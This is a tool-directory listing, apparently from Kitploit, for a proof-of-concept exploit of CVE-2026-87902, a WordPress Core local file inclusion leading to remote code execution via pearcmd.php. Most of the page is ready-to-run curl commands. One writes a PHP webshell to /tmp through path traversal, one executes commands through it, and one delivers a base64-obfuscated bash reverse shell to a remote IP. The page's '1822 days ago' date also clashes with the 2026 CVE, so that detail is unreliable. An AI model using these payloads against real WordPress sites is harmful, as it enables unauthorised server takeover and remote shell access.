Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wordpress-cve-2026-87902 — Proof-of-concept exploit for CVE-2026-87902, an unauthenticated WordPress Core LFI leading to RCE via pearcmd.php, with a Docker lab and curl/Python exploit scripts. | Kitploit
Tools/GitHubGitHub/nextco/wordpress-cve-2026-87902
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHubnextco/wordpress-cve-2026-87902

wordpress-cve-2026-87902

Proof-of-concept exploit for CVE-2026-87902, an unauthenticated WordPress Core LFI leading to RCE via pearcmd.php, with a Docker lab and curl/Python exploit scripts.

View Repository
1822 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-87902 — Conditional LFI

Love for Humans - Keep Simple

WordPress Core <= 7.1.1 — unauthenticated LFI (template loader pagename) → RCE via pearcmd.php & peclcmd.php

Run docker lab

cd docker && docker compose up -d

Exploit - curl

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'


# Reverse Shell
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'

Exploit — python

python3 exploit-pear.py

Credits: https://github.com/ressl/cve-2026-87902-poc

Download Tool